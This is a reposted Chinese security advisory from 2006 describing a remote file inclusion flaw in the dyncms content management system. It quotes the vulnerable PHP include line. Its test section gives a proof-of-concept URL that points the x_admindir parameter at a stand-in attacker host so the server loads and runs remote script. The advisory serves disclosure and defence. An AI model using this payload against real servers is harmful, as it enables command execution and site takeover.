[转载]dyncms x_admindir变量远程或文件包含漏洞

信息来源：绿盟科技

发布日期：2006-09-04
更新日期：2006-09-05

受影响系统：
dyncms dyncms <= Release 6
描述：
--------------------------------------------------------------------------------
dyncms是一款网站内容管理系统。

dyncms处理用户请求时存在输入验证漏洞，攻击者可以利用此漏洞在服务器上以Web进程权限执行任意命令。

dyncms没有正确过滤0_admin/modules/Wochenkarte/frontend/index.php文件中对x_admindir参数的输入：

include_once($x_admindir."/modules/".$xmodulname."/frontend/tools.inc.php");

这允许攻击者通过包含本地或外部资源的任意文件导致执行任意脚本代码。

<*来源：SHiKaA （SHiKaA@hotmail.com）
  
  链接：http://secunia.com/advisories/21729/
*>

测试方法：
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://sitename.com/[Script Path]/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=http://SHELLURL.COM?

建议：
--------------------------------------------------------------------------------
厂商补丁：

dyncms
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dyncms.com/